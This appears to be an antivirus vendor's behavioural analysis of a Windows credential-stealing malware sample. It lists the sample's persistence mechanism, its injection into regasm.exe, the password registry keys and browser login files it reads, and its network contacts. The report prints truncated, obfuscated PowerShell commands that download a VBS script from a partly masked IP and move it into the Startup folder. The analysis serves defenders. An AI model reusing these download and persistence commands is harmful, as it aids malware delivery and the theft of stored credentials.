Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %TEMP%\firewall.vbs
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Windowstyle hidden $c50='eW.teN tc' + 'ejbO-weN(';$Ax1='olnwoD.)tnei' + 'lCb'; $c3=')''sbv.llawerif\''+pmet:vne$,''sbv.ide/022.67.3.291//:ptth''(eliFda';$TC=$c3,$Ax1,$c50 -Join '';($TC|% {-joi...
Injects code into
the following system processes:
- %WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe
Searches for registry branches where third party applications store passwords
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Trillian]
- [<HKCU>\Identities\{91255D00-95D9-49F5-8E84-7C027F5283B7}\Software\Microsoft\Internet Account Manager\Accounts]
- [<HKCU>\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts]
- [<HKCU>\Software\Microsoft\Internet Account Manager\Accounts]
- [<HKCU>\Software\Paltalk]
- [<HKCU>\Software\Google\Google Talk\Accounts]
- [<HKCU>\Software\Mirabilis\ICQ\NewOwners]
- [<HKCU>\Identities\{91255D00-95D9-49F5-8E84-7C027F5283B7}\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts]
- [<HKLM>\Software\Wow6432Node\Mirabilis\ICQ\NewOwners]
- [<HKCU>\Software\AIM\AIMPRO]
- [<HKCU>\Software\America Online\AIM6\Passwords]
- [<HKCU>\Software\America Online\AOL Instant Messenger (TM)\CurrentVersion\Users]
- [<HKCU>\Software\Microsoft\IdentityCRL]
- [<HKCU>\Software\Microsoft\MSNMessenger]
- [<HKLM>\Software\Wow6432Node\Miranda]
- [<HKCU>\Software\Yahoo\Pager]
- [<HKCU>\Software\Microsoft\Windows Live Mail]
Reads files which store third party applications passwords
- %APPDATA%\mozilla\firefox\profiles.ini
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %APPDATA%\opera software\opera stable\login data
Modifies file system
Creates the following files
- %TEMP%\firewall.vbs
- %LOCALAPPDATA%\microsoft\windows\history\history.ie5\mshist012022080220220803\index.dat
- %TEMP%\27a59f14-bafa-447e-b25e-921e5db7c3ec\agiledotnetrt64.dll
- %APPDATA%\rem\logs.dat
- <Current directory>\1a061000
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
- %TEMP%\chp188f.tmp
- %TEMP%\chp18dd.tmp
- %TEMP%\chp195b.tmp
- %TEMP%\txrdxpeojtebtmbdexa
- %TEMP%\lclqwreovokrundvp
- %TEMP%\xiwjuoqzxmpcgxfzu.vbs
Deletes the following files
- %APPDATA%\rem\logs.dat
- %TEMP%\chp188f.tmp
- %TEMP%\chp18dd.tmp
- %TEMP%\chp195b.tmp
- %TEMP%\lclqwreovokrundvp
- %WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe
- %TEMP%\xiwjuoqzxmpcgxfzu.vbs
Modifies the following files
- %TEMP%\javadeployreg.log
Substitutes the following files
- %APPDATA%\rem\logs.dat
- <PATH_SAMPLE>.xls
Network activity
Connects to
- '19#.#.76.220':80
- 'et#####.dvrlists.com':2050
- 'ge###ugin.net':80
TCP
HTTP GET requests
- http://19#.#.76.220/edi.vbs
- http://19#.#.76.220/client.txt
- http://19#.#.76.220/favicon.ico
- http://19#.#.76.220/client.jpg
- http://ge###ugin.net/json.gp
Other
- 'et#####.dvrlists.com':2050
UDP
- DNS ASK et#####.dvrlists.com
- DNS ASK ge###ugin.net
Miscellaneous
Searches for the following windows
- ClassName: 'Static' WindowName: ''
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebCheckMonitor' WindowName: ''
Creates and executes the following
- '<SYSTEM32>\wscript.exe' "%TEMP%\firewall.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Move-item '%TEMP%\firewall.vbs' -Destination '%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\firewall.vbs'
- '%WINDIR%\syswow64\wscript.exe' "%TEMP%\xiwjuoqzxmpcgxfzu.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $t0='QE150'.replace('Q','I').replace('150','x');sal P $t0;$gf=(00100100,01000101,01110010,01110010,01101111,01110010,01000001,01100011,01110100,01101001,01101111,01101110,01010000,01110010,0110...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Move-item '%TEMP%\firewall.vbs' -Destination '%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\firewall.vbs'' (with hidden window)
- '%WINDIR%\syswow64\wscript.exe' "%TEMP%\xiwjuoqzxmpcgxfzu.vbs"' (with hidden window)
Executes the following
- '%ProgramFiles%\internet explorer\iexplore.exe' -Embedding
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $t0='QE150'.replace('Q','I').replace('150','x');sal P $t0;$gf=(00100100,01000101,01110010,01110010,01101111,01110010,01000001,01100011,01110100,01101001,01101111,01101110,01010000,01110010,0110...
- '%WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe'
- '%WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe' /stext "%TEMP%\txrdxpeojtebtmbdexa"
- '%WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe' /stext "%TEMP%\wreoyaoixbwgvsxhnhnetn"
- '%WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe' /stext "%TEMP%\gtkgzszjljotfgllekzfeanfm"
- '%WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe' /stext "%TEMP%\lclqwreovokrundvp"
- '%WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe' /stext "%TEMP%\owqjwkpqjwcweuahysvt"
- '%WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe' /stext "%TEMP%\yzwuxczkxevjgaolpdhvkfbw"
